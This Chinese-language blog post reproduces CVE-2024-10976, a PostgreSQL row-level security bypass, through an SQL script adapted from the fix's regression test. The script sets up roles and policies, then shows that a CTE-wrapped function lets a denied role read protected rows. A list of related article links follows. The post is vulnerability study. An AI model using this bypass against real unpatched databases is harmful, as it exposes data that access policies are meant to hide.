漏洞修复学习之CVE-2024-10976漏洞复现

PostgreSQL数据库的漏洞复现可以从其修复代码中的回归测试脚本中获取,以下是抽取简化后的复现验证脚本。

-- ./psql -f ../../cve-2024-10976.sql

DROP FUNCTION IF EXISTS rls_f;

DROP table IF EXISTS rls_t;

DROP ROLE IF EXISTS regress_rls_alice;

DROP ROLE IF EXISTS regress_rls_bob;

-- 创建测试用户

CREATE ROLE regress_rls_alice LOGIN;

CREATE ROLE regress_rls_bob LOGIN;

-- DROP POLICY p1;

-- DROP POLICY p2;

-- 创建测试表

create table rls_t (c text);

-- 插入数据

insert into rls_t values ('invisible to bob');

-- 设置行安全

alter table rls_t enable row level security;

grant select on rls_t to regress_rls_alice, regress_rls_bob;

-- 允许regress_rls_alice访问,不允许regress_rls_bob访问

create policy p1 on rls_t for select to regress_rls_alice using (true);

create policy p2 on rls_t for select to regress_rls_bob using (false);

-- 创建函数rls_f访问表rls_t

create or replace function rls_f () returns setof rls_t

stable language sql

as select \* from rls_t ;

prepare q as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

set role regress_rls_alice;

execute q;

set role regress_rls_bob;

execute q;

-- make sure RLS dependencies in CTEs are handled

reset role;

-- 增加cte包装

create or replace function rls_f() returns setof rls_t

stable language sql

as with cte as (select \* from rls_t) select \* from cte ;

prepare r as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

-- 由于漏洞CVE-2024-10976的存在,regress_rls_bob也能访问表rls_t

set role regress_rls_alice;

execute r;

set role regress_rls_bob;

execute r;

相关推荐
这个DBA有点耶31 分钟前
数据同步的三个工程底线:DDL同步、断点续传、一致性校验——开源CDC的边界与KFS的路径
数据库·dba·代码规范
choumou_M43 分钟前
算法_1:由浅入深学习快速排序QuickSort
学习·算法·排序算法
SelectDB1 小时前
列式存储为什么适合分析类负载?原理、限制与日志场景应用
数据库
国科安芯2 小时前
人在回路中的总线:商业空间站环境控制与生命保障系统CANFD网络的可靠性与功能安全
网络·嵌入式硬件·安全·架构·php·抗辐射
数据库小学妹2 小时前
MySQL大字段治理:行溢出机制、覆盖索引与拆表
数据库·mysql·性能优化
爱吃奥利奥_wen3 小时前
SQL Server 基础语法详解:从建库建表到约束与增删改查
服务器·数据库·oracle
国科安芯3 小时前
算力上天之后的电与静:星上边缘计算载荷带外管理网络的低功耗调度与辐射容错
网络·人工智能·嵌入式硬件·安全·边缘计算·低轨卫星·商业航天
这个DBA有点耶3 小时前
MySQL 8.0不可见索引:删索引怕出事,不删又拖慢写入——中间态怎么用?
数据库·mysql·代码规范
7177774 小时前
2026 供应链安全用什么:SBOM、SLSA 与制品库的落地选型
安全·gitee